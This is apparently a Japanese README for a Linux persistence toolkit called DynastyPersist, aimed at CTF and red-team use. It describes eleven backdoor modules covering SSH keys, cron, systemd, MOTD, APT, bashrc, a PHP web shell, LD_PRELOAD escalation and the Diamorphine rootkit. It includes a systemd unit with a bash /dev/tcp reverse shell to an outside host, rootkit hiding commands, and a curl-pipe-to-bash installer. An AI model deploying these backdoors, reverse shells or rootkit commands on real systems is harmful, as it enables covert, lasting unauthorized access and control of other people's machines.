
SSHキーバックドア、cronジョブ、systemdサービス、LKMルートキット、LD_PRELOAD権限昇格のための11のモジュールを備えたLinux持続性ツールキット。CTF競技およびレッドチーム運用向けに設計されています。

| 機能 | 説明 |
|---|---|
| SSH鍵生成 | 隠密アクセスのためのSSHキーを自動生成します。 |
| Cronジョブ永続性 | スケジュール永続性のためのcronジョブを設定します。 |
| Root権限カスタムユーザー | root権限を持つカスタムユーザーを作成します。 |
| RCE永続性 | リモートコード実行による永続性を実現します。 |
| LKMルートキット | Linuxカーネルモジュール(LKM)ベースのルートキット永続性を示します。 |
| Bashrc永続性 | 永続性のためにユーザー固有のシェル初期化ファイルを変更します(エイリアス/リバースシェル)。 |
| Root用Systemdサービス | root永続性を実現するためのsystemdサービスを設定します。 |
| LD_PRELOAD特権昇格設定 | 特権昇格のためにLD_PRELOADを設定します。 |
| Message of the Day/ヘッダーのバックドア化 | 隠密アクセスのためにシステムメッセージ表示をバックドア化します。 |
| 既存のSystemdサービスの変更 | 永続性のために既存のsystemdサービスを操作します。 |
| APTのバックドア化 | シェルを起動するためにaptコマンドをバックドア化します。 |
ssh鍵生成を使用してサーバーにアクセスします。このモジュールはすべてのユーザーに対してid_rsa鍵を作成します。これはリバースアクセスに使用できます。このモジュールを実行した後、攻撃者はssh経由でサーバーに接続できます。
これは手動でssh-keygenコマンドを使用して行うこともできます。しかし、このモジュールは瞬時にすべてのユーザーに対して秘密鍵を作成します。
root@kali ~ ssh -i id_rsa [email protected]
1LinuxのCronジョブは、指定された間隔で自動的に実行されるスケジュールタスクです。
最も効率的なモジュールの1つで、リバースシェルを使用します。このモジュールはリバースシェルコマンドを直接/etc/crontabに書き込みます。これにより、リッスンしているポートにシェルが表示されます。
root@kali ~ nc -nvlp 9999
2ssh経由でそのユーザーにログインできます。root@kali ~ ssh [email protected]
3このモジュールには、Webルートディレクトリにホストされるphpスクリプトが付属しています。スクリプトは/var/www/html/dynasty_rce/rce.phpに配置されます。さらに、LKMモジュールが先に実行されていれば、プレフィックスdynasty_rceを隠すことができます。
victim_ip:port/dynasty_rce/rce.phpにアクセスすると、シェル内でコマンドを実行できるようになります。
モジュール番号: 4
Diamorphineと呼ばれるオープンソースのLKMルートキットに焦点を当てています。モジュールは一時的な場所として/var/tmp/.memoryに配置されます。このディレクトリはモジュールのセットアップ後に削除されます。victim@ubuntu ~ kill -64 0 # Promtes to root user.
victim@ubuntu ~ mkdir dynasty_persist # Any directory starting with dynasty will be hidden.
victim@ubuntu ~ kill -31 <process> # Hides processors
victim@ubuntu ~ lsmod | grep -i diamorphine # Hides itself
victim@ubuntu ~ kill -63 0 # Make it appear in lsmod output
5findやcatを使用するとシェルが与えられます。root@kali ~ nc -nvlp 9999
6リバースアクセスのためにsystemdにカスタムサービスを作成するモジュールです。
例:
Description=Dynasty Persist
[Service]
ExecStart=sudo bash /bin/bash -c 'bash -i >& /dev/tcp/10.10.14.3/9999 0>&1'
Restart=always
RestartSec=30
[Install]
WantedBy=default.target"
上記の例はサービスとして作成されます。この方法は効率的で耐久性があります。
モジュール番号: 7
LD_PRELOADはLinuxの環境変数で、他のライブラリの前に共有ライブラリをプリロードすることを許可します。LD_PRELOADを使用した特権昇格は、悪意のあるライブラリをロードしてシステムコールを傍受・変更し、昇格した特権を得る可能性があります。このモジュールはfindやwgetなどのコマンドをバックドア化します。
モジュール番号: 8
Linuxの「Message of the Day」(MOTD)は、ログイン時にユーザーに表示されるカスタマイズ可能なテキストで、システムに関する情報や更新を提供します。通常は/etc/motdファイルに保存され、システム管理者が変更できます。
このモジュールは、シェルを/etc/update-motd.d/00-headerに書き込みます。これは通常、ユーザーがログインしたときにトリガーされます。
モジュール番号: 9
モジュール7と同様に、既存のサービスをリバースアクセス用に変更します。
簡単に言うと、サービスのExecStartPreをリバースシェルコマンドに書き換えます。
モジュール番号: 10
「APT」はAdvanced Package Toolの略で、UbuntuなどのDebianベースのシステムで一般的に使用されます。ファイルはここに作成されます: /etc/apt/apt.conf.d/42backdoor
aptコマンドをバックドア化し、aptが実行されるたびにシェルが起動します。
モジュール番号: 11
現在、最新アップデート(1.4)では2つのモードが利用可能です。
モードはconsoleとctfで、それぞれ特定の動作で動作するように設計されています。
比較すると、consoleモードはctfモードよりも多くの機能と安定性を備えています。
consoleモードは通常のセットアップでツールを起動し、すべての機能を利用できます。これらの機能はスクリプトが実行されるローカルホスト上でローカルに実行されます。リアルタイム操作での永続性のために設計されています。
モジュール番号の前にuseを付けることで、選択したモジュールを実行します。例:use 1
また、インターフェースが更新され、show payloadsと入力するとモジュール/ペイロードが表示されるようになりました。
最後に、ヘルプ/オプションメニューも変更され、show optionsと入力して表示します。
ctfモードは、SSH経由で侵害されたサーバーにログインして永続性を得るための追加機能です。このアドオンはKoTHやBattlegroundsで大いに役立ちます。さらに、永続性の設定にかかる時間を大幅に節約できます。
consoleのほとんどの機能を実行します。
$ ./dynasty.sh <lhost> <lport> <mode>
$ ./dynasty.sh ctf
$ ./dynasty.sh 10.10.14.3 9999 console
Git経由
$ git clone https://github.com/Trevohack/DynastyPersist
$ cd DynastyPersist/src
Curl経由
$ curl -sSL https://raw.githubusercontent.com/Trevohack/DynastyPersist/main/src/dynasty.sh | bash